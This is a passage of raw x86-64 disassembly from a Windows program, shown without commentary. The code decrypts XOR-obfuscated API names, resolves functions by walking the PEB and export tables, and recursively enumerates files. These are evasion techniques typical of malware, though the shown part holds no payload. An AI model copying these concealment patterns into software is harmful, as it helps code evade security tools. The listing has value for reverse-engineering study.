add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x140119b30
mov r9d, dword [0x140196874]
lea r8, [rbp - 0x3c]
mov rdx, qword [rbp - 0x18]
call fcn.14011cb00
mov r14, rax
test rax, rax
je 0x140119bd0
movsx edx, byte [rbp - 0x40]
movd xmm1, edx
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
movdqu xmm0, xmmword [rax]
pxor xmm1, xmm0
movdqu xmmword [rax], xmm1
add rax, 0x10
mov ecx, 7
nop word [rax + rax]
xor byte [rax], dl
lea rax, [rax + 1]
sub rcx, 1
jne 0x140119bc0
mov byte [r14 + 0x17], cl
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
cmp qword [rsi + 0x60], 0
je 0x140119c9c
mov r11, qword [rsi + 0x30]
mov rsi, qword [rsi]
test r11, r11
je 0x140119be4
mov eax, 0x5a4d
cmp word [r11], ax
jne 0x140119c9c
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140119c9c
mov ecx, dword [rax + r11 + 0x88]
xor r9d, r9d
test ecx, ecx
je 0x140119c9f
lea rax, [r11 + rcx]
mov r15d, dword [rax + 0x1c]
add r15, r11
mov edi, dword [rax + 0x20]
add rdi, r11
mov r12d, dword [rax + 0x24]
add r12, r11
xor r10d, r10d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x140119be4
nop dword [rax]
xor dl, dl
mov ecx, dword [rdi + r9*4]
add rcx, r11
cmp byte [rcx], dl
je 0x140119c8c
mov r8, r14
sub r8, rcx
movzx eax, byte [r8 + rcx]
test al, al
je 0x140119c88
cmp byte [rcx], al
jne 0x140119c8c
mov dl, 1
inc rcx
cmp byte [rcx], 0
jne 0x140119c63
movzx eax, word [r12 + r9*2]
mov r9d, dword [r15 + rax*4]
add r9, r11
jmp 0x140119c9f
test dl, dl
jne 0x140119c7a
inc r10d
inc r9
cmp r10d, ebx
jb 0x140119c50
jmp 0x140119be4
xor r9d, r9d
mov r8d, 0x104
lea rdx, [rbp + 0x3d0]
mov rcx, r13
call r9
dec eax
cmp eax, 0x102
ja 0x14011b5bd
lea rcx, [rbp + 0x3d0]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140119cd0
cmp byte [rbp + rax + 0x3cf], 0x5c
jne 0x140119cfa
dec rax
cmp rax, 0x104
jae 0x14011b5dd
mov byte [rbp + rax + 0x3d0], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
lea rax, [rbp + 0x3d0]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140119d30
lea rdx, [rbp + 0x3d0]
lea rcx, [rsp + 0x50]
call fcn.14001ea30
nop
mov rdx, qword [rbp - 0x68]
lea rcx, [rsp + 0x50]
call fcn.14001e600
movups xmm7, xmmword [rax]
movups xmmword [rbp + 0x30], xmm7
movups xmm6, xmmword [rax + 0x10]
movups xmmword [rbp + 0x40], xmm6
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or dword [rsp + 0x44], 0x20
lea rcx, [rbp + 0x118]
call fcn.14001e820
movups xmmword [rbp + 0x118], xmm7
movups xmmword [rbp + 0x128], xmm6
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
lea rcx, [rbp + 0x30]
call fcn.14001e820
nop
lea rcx, [rsp + 0x50]
call fcn.14001e820
mov cl, 0x57
mov byte [rbp + 0xa0], cl
mov word [rbp + 0xd0], 0x7d0b
xor eax, eax
mov byte [rbp + 0xd2], al
movsx ebx, cl
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140119df7
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x140119e06
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
xor edx, edx
lea r8, [rbp + 0xa4]
lea r9d, [rdx + 8]
nop word [rax + rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x140119e20
mov r9d, 2
lea r8, [rbp + 0xa4]
lea rdx, [rbp + 0xd0]
call fcn.14011c9b0
mov qword [rbp + 0xc8], rax
movsx ebx, byte [rbp + 0xa0]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140119ea3
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x140119eb2
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
xor edx, edx
lea r8, [rbp + 0xa4]
lea r9d, [rdx + 8]
nop word [rax + rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x140119ed0
mov r9d, dword [0x140196874]
lea r8, [rbp + 0xa4]
mov rdx, qword [rbp + 0xc8]
call fcn.14011cb00
mov r8, rax
test rax, rax
je 0x140119f49
movzx eax, byte [rbp + 0xa0]
xor byte [r8], al
xor byte [r8 + 1], al
mov byte [r8 + 2], 0
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0x158]
call fcn.14001ed60
nop
lea r13, [rbp + 0x158]
cmp qword [rbp + 0x170], 0x10
cmovae r13, qword [rbp + 0x158]
mov cl, 0x54
mov byte [rbp + 0xa0], cl
mov dword [rbp + 0xd0], 0x303a3d12
mov dword [rbp + 0xd4], 0x27263d12
mov dword [rbp + 0xd8], 0x383d1220
mov word [rbp + 0xdc], 0x1531
xor eax, eax
mov byte [rbp + 0xde], al
movsx ebx, cl
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140119fc6
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x140119fd5
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
xor edx, edx
lea r8, [rbp + 0xa4]
lea r9d, [rdx + 8]
nop dword [rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x140119ff0
mov r9d, 0xe
lea r8, [rbp + 0xa4]
lea rdx, [rbp + 0xd0]
call fcn.14011c9b0
mov qword [rbp + 0xc8], rax
movsx ebx, byte [rbp + 0xa0]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14011a073
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x14011a082
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
xor r8d, r8d
lea r9, [rbp + 0xa4]
lea r10d, [r8 + 8]
nop word [rax + rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x14011a0a0
mov r9d, dword [0x140196874]
lea r8, [rbp + 0xa4]
mov rdx, qword [rbp + 0xc8]
call fcn.14011cb00
mov r14, rax
test rax, rax
je 0x14011a130
mov ecx, 0xe
movzx edx, byte [rbp + 0xa0]
nop word [rax + rax]
xor byte [rax], dl
lea rax, [rax + 1]
sub rcx, 1
jne 0x14011a120
mov byte [r14 + 0xe], cl
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
cmp qword [rsi + 0x60], 0
je 0x14011a1fc
mov r11, qword [rsi + 0x30]
mov rsi, qword [rsi]
test r11, r11
je 0x14011a144
mov eax, 0x5a4d
cmp word [r11], ax
jne 0x14011a1fc
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14011a1fc
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14011a1fc
lea rax, [r11 + rcx]
mov r15d, dword [rax + 0x1c]
add r15, r11
mov edi, dword [rax + 0x20]
add rdi, r11
mov r12d, dword [rax + 0x24]
add r12, r11
xor r10d, r10d
xor r9d, r9d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14011a144
nop dword [rax]
xor dl, dl
mov ecx, dword [rdi + r9*4]
add rcx, r11
cmp byte [rcx], dl
je 0x14011a1ec
mov r8, r14
sub r8, rcx
movzx eax, byte [r8 + rcx]
test al, al
je 0x14011a1e8
cmp byte [rcx], al
jne 0x14011a1ec
mov dl, 1
inc rcx
cmp byte [rcx], 0
jne 0x14011a1c3
movzx eax, word [r12 + r9*2]
mov r8d, dword [r15 + rax*4]
add r8, r11
jmp 0x14011a1ff
test dl, dl
jne 0x14011a1da
inc r10d
inc r9
cmp r10d, ebx
jb 0x14011a1b0
jmp 0x14011a144
xor r8d, r8d
lea rdx, [rbp + 0x180]
mov rcx, r13
call r8
mov r13, rax
cmp rax, 0xffffffffffffffff
je 0x14011b100
nop dword [rax]
mov edi, dword [rsp + 0x44]
or edi, 1
mov cl, 0x6e
mov byte [rbp - 0x40], cl
mov word [rbp - 0x10], 0x40
movsx ebx, cl
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14011a24d
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x14011a25c
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
xor r8d, r8d
lea r9, [rbp - 0x3c]
lea r10d, [r8 + 8]
nop
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x14011a270
lea r9d, [r10 + 1]
lea r8, [rbp - 0x3c]
lea rdx, [rbp - 0x10]
call fcn.14011c9b0
mov qword [rbp - 0x18], rax
movsx ebx, byte [rbp - 0x40]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14011a2e9
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x14011a2f8
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
xor r8d, r8d
lea r9, [rbp - 0x3c]
lea r10d, [r8 + 8]
nop word [rax + rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x14011a310
mov r9d, dword [0x140196874]
lea r8, [rbp - 0x3c]
mov rdx, qword [rbp - 0x18]
call fcn.14011cb00
mov r8, rax
test rax, rax
je 0x14011a380
movzx eax, byte [rbp - 0x40]
xor byte [r8], al
mov byte [r8 + 1], 0
lea rax, [rbp + 0x1ac]
sub r8, rax
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14011a3a3
inc rax
test ecx, ecx
jne 0x14011a390
test edx, edx
je 0x14011a56d
or edi, 2
mov cl, 0x64
mov byte [rbp + 0xa0], cl
mov word [rbp + 0xd0], 0x4a4a
xor eax, eax
mov byte [rbp + 0xd2], al
movsx ebx, cl
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14011a3e2
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x14011a3f1
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
xor r8d, r8d
lea r9, [rbp + 0xa4]
lea r10d, [r8 + 8]
nop word [rax + rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x14011a410
lea r9d, [r10 + 2]
lea r8, [rbp + 0xa4]
lea rdx, [rbp + 0xd0]
call fcn.14011c9b0
mov qword [rbp + 0xc8], rax
movsx ebx, byte [rbp + 0xa0]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14011a495
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x14011a4a4
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
xor r8d, r8d
lea r9, [rbp + 0xa4]
lea r10d, [r8 + 8]
nop dword [rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x14011a4c0
mov r9d, dword [0x140196874]
lea r8, [rbp + 0xa4]
mov rdx, qword [rbp + 0xc8]
call fcn.14011cb00
mov rdx, rax
test rax, rax
je 0x14011a53a
movzx eax, byte [rbp + 0xa0]
xor byte [rdx], al
xor byte [rdx + 1], al
mov byte [rdx + 2], 0
lea rax, [rbp + 0x1ac]
sub rdx, rax
nop dword [rax]
nop dword [rax + rax]
movzx r8d, byte [rax]
movzx ecx, byte [rax + rdx]
sub r8d, ecx
jne 0x14011a564
inc rax
test ecx, ecx
jne 0x14011a550
test r8d, r8d
je 0x14011a56d
xor al, al
jmp 0x14011a56f
mov al, 1
test dil, 2
je 0x14011a578
and edi, 0xfffffffd
and edi, 0xfffffffe
mov dword [rsp + 0x44], edi
test al, al
jne 0x14011abe3
mov cl, 0x3c
mov byte [rbp + 0xa0], cl
mov word [rbp + 0xd0], 0x60
movsx ebx, cl
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14011a5b3
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x14011a5c2
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
xor edx, edx
lea r8, [rbp + 0xa4]
lea r9d, [rdx + 8]
nop word [rax + rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x14011a5e0
mov r9d, 1
lea r8, [rbp + 0xa4]
lea rdx, [rbp + 0xd0]
call fcn.14011c9b0
mov qword [rbp + 0xc8], rax
movsx ebx, byte [rbp + 0xa0]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14011a663
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x14011a672
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
xor edx, edx
lea r8, [rbp + 0xa4]
lea r9d, [rdx + 8]
nop word [rax + rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x14011a690
mov r9d, dword [0x140196874]
lea r8, [rbp + 0xa4]
mov rdx, qword [rbp + 0xc8]
call fcn.14011cb00
mov r8, rax
test rax, rax
je 0x14011a705
movzx eax, byte [rbp + 0xa0]
xor byte [r8], al
mov byte [r8 + 1], 0
lea rdx, [rbp + 0x118]
lea rcx, [rbp - 0x40]
call fcn.14001ed60
nop
lea rdx, [rbp + 0x1ac]
mov rcx, rax
call fcn.14001e570
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x138], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x148], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or edi, 0x40
mov dword [rsp + 0x44], edi
lea rcx, [rbp - 0x40]
call fcn.14001e820
test byte [rbp + 0x180], 0x10
je 0x14011abd7
lea rax, [rbp - 0x60]
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x60], 0
mov qword [rbp - 0x50], 0
mov qword [rbp - 0x48], 0xf
lea rax, [rbp + 0x1ac]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14011a7a0
lea rdx, [rbp + 0x1ac]
lea rcx, [rbp - 0x60]
call fcn.14001ea30
nop
lea rax, [rsp + 0x50]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov rdi, qword [rbp + 0x128]
lea rsi, [rbp + 0x118]
cmp qword [rbp + 0x130], 0x10
cmovae rsi, qword [rbp + 0x118]
movabs r14, 0x7fffffffffffffff
cmp rdi, 0x10
jae 0x14011a821
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x68], 0xf
jmp 0x14011a892
mov rbx, rdi
or rbx, 0xf
cmp rbx, r14
cmova rbx, r14
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14011a86b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14011b5e9
mov rcx, rax
call fcn.14012bbb4
mov rcx, rax
test rax, rax
je 0x14011b5e3
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14011a879
test rcx, rcx
je 0x14011a877
call fcn.14012bbb4
jmp 0x14011a879
xor eax, eax
mov qword [rsp + 0x50], rax
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call fcn.14012dc00
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x60], rdi
mov qword [rbp + 0xe8], 0
mov qword [rbp + 0xf8], 0
mov qword [rbp + 0x100], 0
lea rsi, [rbp + 0x138]
mov r15, qword [rbp + 0x138]
mov r12, qword [rbp + 0x150]
cmp r12, 0x10
cmovae rsi, r15
mov rdi, qword [rbp + 0x148]
cmp rdi, 0x10
jae 0x14011a8f9
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0xe8], xmm0
mov qword [rbp + 0x100], 0xf
jmp 0x14011a96e
mov rbx, rdi
or rbx, 0xf
cmp rbx, r14
cmova rbx, r14
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14011a943
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14011b5f5
mov rcx, rax
call fcn.14012bbb4
mov rcx, rax
test rax, rax
je 0x14011b5ef
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14011a951
test rcx, rcx
je 0x14011a94f
call fcn.14012bbb4
jmp 0x14011a951
xor eax, eax
mov qword [rbp + 0xe8], rax
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call fcn.14012dc00
mov qword [rbp + 0x100], rbx
mov qword [rbp + 0xf8], rdi
lea rax, [rbp - 0x60]
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x28], 1
mov rax, qword [rbp + 0xe0]
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x50]
lea r8, [rbp + 0xe8]
mov rdx, qword [rbp + 0x20]
mov rcx, qword [rbp + 0x28]
call fcn.140116470
lea rax, [rbp - 0x60]
mov qword [rbp - 0x68], rax
xor eax, eax
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 0xf
lea rax, [rbp + 0x1ac]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14011a9d0
lea rdx, [rbp + 0x1ac]
lea rcx, [rbp - 0x60]
call fcn.14001ea30
nop
lea rax, [rsp + 0x50]
mov qword [rsp + 0x78], rax
xor edx, edx
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x68], rdx
mov rsi, qword [rbp + 0x128]
lea r14, [rbp + 0x118]
cmp qword [rbp + 0x130], 0x10
cmovae r14, qword [rbp + 0x118]
cmp rsi, 0x10
jae 0x14011aa3e
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x68], 0xf
jmp 0x14011aabc
mov rbx, rsi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14011aa92
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14011b601
mov rcx, rax
call fcn.14012bbb4
mov rcx, rax
test rax, rax
je 0x14011b5fb
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14011aaa1
test rcx, rcx
je 0x14011aa9e
call fcn.14012bbb4
jmp 0x14011aaa1
mov rax, rdx
mov qword [rsp + 0x50], rax
lea r8, [rsi + 1]
mov rdx, r14
mov rcx, rax
call fcn.14012dc00
mov qword [rsp + 0x68], rbx
xor edx, edx
mov qword [rsp + 0x60], rsi
mov qword [rbp + 0xe8], rdx
mov qword [rbp + 0xf8], rdx
mov qword [rbp + 0x100], rdx
lea rsi, [rbp + 0x138]
cmp r12, 0x10
cmovae rsi, r15
cmp rdi, 0x10
jae 0x14011ab05
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0xe8], xmm0
mov qword [rbp + 0x100], 0xf
jmp 0x14011ab85
mov rbx, rdi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14011ab59
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14011b60d
mov rcx, rax
call fcn.14012bbb4
mov rcx, rax
test rax, rax
je 0x14011b607
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14011ab68
test rcx, rcx
je 0x14011ab65
call fcn.14012bbb4
jmp 0x14011ab68
mov rax, rdx
mov qword [rbp + 0xe8], rax
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call fcn.14012dc00
mov qword [rbp + 0x100], rbx
mov qword [rbp + 0xf8], rdi
lea rax, [rbp - 0x60]
mov qword [rsp + 0x38], rax
mov byte [rsp + 0x30], 1
mov rax, qword [rbp + 0xe0]
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xe8]
mov r8, qword [rbp + 0x20]
lea rdx, [rbp + 0xa0]
mov rcx, qword [rbp + 0x28]
call fcn.1401143b0
lea rcx, [rbp + 0xa0]
call fcn.14001e820
nop
lea rcx, [rbp + 0x138]
call fcn.14001e820
mov cl, 0x42
mov byte [rbp + 0xa0], cl
mov dword [rbp + 0xd0], 0x262c2b04
mov dword [rbp + 0xd4], 0x363a270c
mov dword [rbp + 0xd8], 0x272e2b04
mov word [rbp + 0xdc], 3
movsx ebx, cl
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14011ac2d
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x14011ac3c
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
xor edx, edx
lea r8, [rbp + 0xa4]
lea r9d, [rdx + 8]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x14011ac50
mov r9d, 0xd
lea r8, [rbp + 0xa4]
lea rdx, [rbp + 0xd0]
call fcn.14011c9b0
mov qword [rbp + 0xc8], rax
movsx ebx, byte [rbp + 0xa0]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14011acd3
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x14011ace2
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
xor edx, edx
lea r8, [rbp + 0xa4]
lea r9d, [rdx + 8]
nop word [rax + rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x14011ad00
mov r9d, dword [0x140196874]
lea r8, [rbp + 0xa4]
mov rdx, qword [rbp + 0xc8]
call fcn.14011cb00
mov r14, rax
test rax, rax
je 0x14011ad82
mov ecx, 0xd
movzx edx, byte [rbp + 0xa0]
xor byte [rax], dl
lea rax, [rax + 1]
sub rcx, 1
jne 0x14011ad72
mov byte [r14 + 0xd], cl
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
cmp qword [rsi + 0x60], 0
je 0x14011ae51
mov r11, qword [rsi + 0x30]
mov rsi, qword [rsi]
test r11, r11
je 0x14011ad96
mov edi, 0x5a4d
cmp word [r11], di
jne 0x14011ae4c
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14011ae4c
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14011ae4c
lea rax, [r11 + rcx]
mov r15d, dword [rax + 0x1c]
add r15, r11
mov edi, dword [rax + 0x20]
add rdi, r11
mov r12d, dword [rax + 0x24]
add r12, r11
xor r10d, r10d
xor r9d, r9d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14011ad96
nop
xor dl, dl
mov eax, dword [rdi + r9*4]
add rax, r11
cmp byte [rax], dl
je 0x14011ae3c
mov r8, r14
sub r8, rax
movzx ecx, byte [r8 + rax]
test cl, cl
je 0x14011ae38
cmp byte [rax], cl
jne 0x14011ae3c
mov dl, 1
inc rax
cmp byte [rax], 0
jne 0x14011ae13
movzx eax, word [r12 + r9*2]
mov r8d, dword [r15 + rax*4]
add r8, r11
jmp 0x14011ae54
test dl, dl
jne 0x14011ae2a
inc r10d
inc r9
cmp r10d, ebx
jb 0x14011ae00
jmp 0x14011ad96
xor r8d, r8d
jmp 0x14011ae59
xor r8d, r8d
mov edi, 0x5a4d
lea rdx, [rbp + 0x180]
mov rcx, r13
call r8
test eax, eax
jne 0x14011a220
mov cl, 0x14
mov byte [rbp + 0xa0], cl
mov dword [rbp + 0xd0], 0x707a7d52
mov dword [rbp + 0xd4], 0x677b7857
mov word [rbp + 0xd8], 0x71
movsx ebx, cl
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14011aeae
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x14011aebd
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
xor r8d, r8d
lea r9, [rbp + 0xa4]
lea r10d, [r8 + 8]
nop dword [rax]
nop word [rax + rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
